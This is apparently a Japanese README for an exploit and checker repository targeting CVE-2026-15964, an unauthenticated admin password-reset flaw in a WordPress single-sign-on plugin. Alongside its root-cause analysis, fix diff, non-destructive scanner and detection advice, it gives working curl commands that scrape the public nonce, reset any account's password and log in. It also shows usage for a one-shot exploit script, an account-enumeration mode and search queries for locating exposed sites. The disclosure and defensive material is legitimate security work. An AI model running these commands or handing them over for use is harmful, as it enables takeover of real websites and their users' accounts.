
CVE-2026-15964 の PoC & チェッカー - WordPress プラグイン Single Sign On For TNG <= 2.0.0 における認証なしパスワード変更 (CVSS 9.8)
未検証のパスワード変更による非認証の権限昇格 WordPress プラグイン Single Sign On For TNG に影響します。
| 深刻度 | Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (未検証のパスワード変更) |
| 影響を受けるバージョン | プラグインバージョン 1.0.0 ~ 2.0.0 |
| 修正バージョン | 2.1.0 (2026-07-27 リリース) |
| 公開日 | 2026-08-01 |
| 認証要件 | 不要 (wp_ajax_nopriv_ssoprocess_ajax) |
| 影響 | 管理者を含む任意の WordPress アカウントのパスワードを変更可能 - サイト全体の乗っ取り |
| プラグイン | https://wordpress.org/plugins/single-sign-on-for-tng/ |
認証されていない訪問者は誰でも、プラグイン 2.0.0 以前を実行しているサイト上の任意のアカウントのパスワードを変更できます。必要な HTTP リクエストは 2 つだけです:
SSOPWDREQUIREMENT JavaScript オブジェクトから nonce をコピーします。operation=setnewpassword、被害者のメールアドレス、新しいパスワードとともに admin-ajax.php に POST します。残りの処理は WordPress コアの reset_password() が行います。トークンも、メール確認リンクも、権限チェックもありません。その後は管理者としてログインするだけです。
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
single-sign-on-for-tng.php (v2.0.0) 内:
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* は、セッションが一切ない状態でもハンドラに到達できることを意味します。
load_scripts() は wp_enqueue_scripts にフックされているため、すべてのフロントエンドページでプラグインはこれを HTML に出力します:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
これは次のように描画されます:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
そしてハンドラは次のようにそれを検証します:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
問題はここです: WordPress は nonce を wp_create_nonce($action) で uid とセッショントークンを使って計算します。ログアウト中の訪問者では、これらは 0 と空文字列になるため、すべての匿名訪問者がまったく同じ nonce を受け取ります。nonce は 12 時間ごと (nonce tick) にしか再生成されません。つまり、プラグインが任意の訪問者に出力する nonce は攻撃者にとっても有効です - 盗むべき秘密は存在せず、ページ自体に公開されているのです。
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() は WordPress コアの関数です。新しいハッシュを設定し、被害者を他のすべてのセッションからログアウトさせ、password_reset / after_password_reset アクションを発火させます。ここでは、呼び出し元がアカウント所有者であることを証明するものが何もないまま呼び出されます。
知っておく価値のある追加事項が 2 つあります:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC ルールは Forminator フォーム用の validate_form() でのみ強制され、ここでは一切実施されません。任意のパスワードが受け入れられます。{"success":true} と {"success":false} の違いで、メールアドレスが登録済みかどうかが分かります。チェッカーの --enum-only モードはこれを利用します。operation=set_tzoffset は非認証のまま update_option('localtzoffset', $post['timezoneoffset']) を呼び出します。RCE に直接利用できるわけではありませんが、非認証のオプション書き込みであり、writeup で言及する価値があります。2.0.0 と 2.1.0 を diff すると修正内容が明らかになります (そしてバグの存在が確認できます):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
さらに、newpasswordform() 内:
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
つまり 2.1.0 では、フローは次のようになります: 実際のリカバリリクエストがユーザーごとの custom_recovery_token + custom_recovery_nonce をユーザーメタに保存し、リカバリリンクがユーザー ID を保持し、フォームが両方を検証し、リカバリ期間 (timeout) が切れると AJAX ハンドラは実行を拒否します。有効なリカバリレコードを生成できない攻撃者は、もはや setnewpassword を操作できません。
ステップ 1 - nonce を取得する
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
ステップ 2 - パスワードを変更する
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
脆弱なインストールでの期待される応答: {"success":true}
ステップ 3 - ログインする
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.py単一サイト向けエクスプロイト。非破壊的なモードも含まれます。
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.py自分が管理するサイトリスト用のバッチスキャナ。設計上、非破壊的 - パスワードを変更することはありません。
各サイトの分類方法:
SSOPWDREQUIREMENT オブジェクト、または /wp-content/plugins/single-sign-on-for-tng/ アセットパス。readme.txt の Stable tag: 行。<= 2.0.0 は脆弱、>= 2.1.0 は修正済み。これは CVE に基づく正式な判定です。--probe、バージョンを読み取れない場合のみ) - 存在しないメールアドレスで operation=setnewpassword を POST します。2.0.0 インストールはエラーメッセージなしで {"success":false} と応答し、2.1.0 インストールは「新しいパスワードを送信する時間が切れました」というメッセージで応答します。実在するメールアドレスが送信されることは決してありません - 送信すると実際にパスワードがリセットされてしまうからです。# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
出力例:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
判定結果: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR。UNKNOWN は通常、WAF、積極的な CDN キャッシュ、または readme をブロックしているサイトを意味します - そのようなサイトは手動で確認してください。
tests/mock_server.py は 6 つのケース (バージョンによる脆弱/修正済み、プローブによる脆弱/修正済み、プラグインなしの WordPress、非 WordPress) をエミュレートします。チェッカーのロジックは、実際のサイトに向ける前に、これを使って検証されました:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt で唯一の依存関係 (requests) がインストールされます。
正直な状況説明です。これがツールの使い方に影響するからです。
inurl:"single-sign-on-for-tng"、ページの完全なソースをインデックスする検索エンジン (PublicWWW、Censys、FOFA) での "SSOPWDREQUIREMENT"、そして TNG コミュニティ自体 (tngsitebuilding.com、系図フォーラム)。UNKNOWN カテゴリが比較的大きくなります - 多くのサイトが積極的なキャッシュの背後で稼働していたり、readme.txt をブロックしていたりします。それを「脆弱ではない」と解釈しないでください。手動で確認してください。action=ssoprocess_ajax が認証済みセッションからのものでない admin-ajax.php への POST を拒否し、匿名ソースからの setnewpassword をアラートする。wp_users.user_pass ハッシュの変更と password_reset / after_password_reset アクションを監視し、パスワード変更直後の管理者ログインに注意する。ssoajaxnonce は公開情報として扱う - 実際、常に公開されていました。このリポジトリは認可されたセキュリティテストと教育目的のみを対象としています。行動の責任はすべて自分自身にあります。所有していない、またはテストする明示的な書面による許可を得ていないシステムに対して、これらのツールを実行しないでください。コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪です。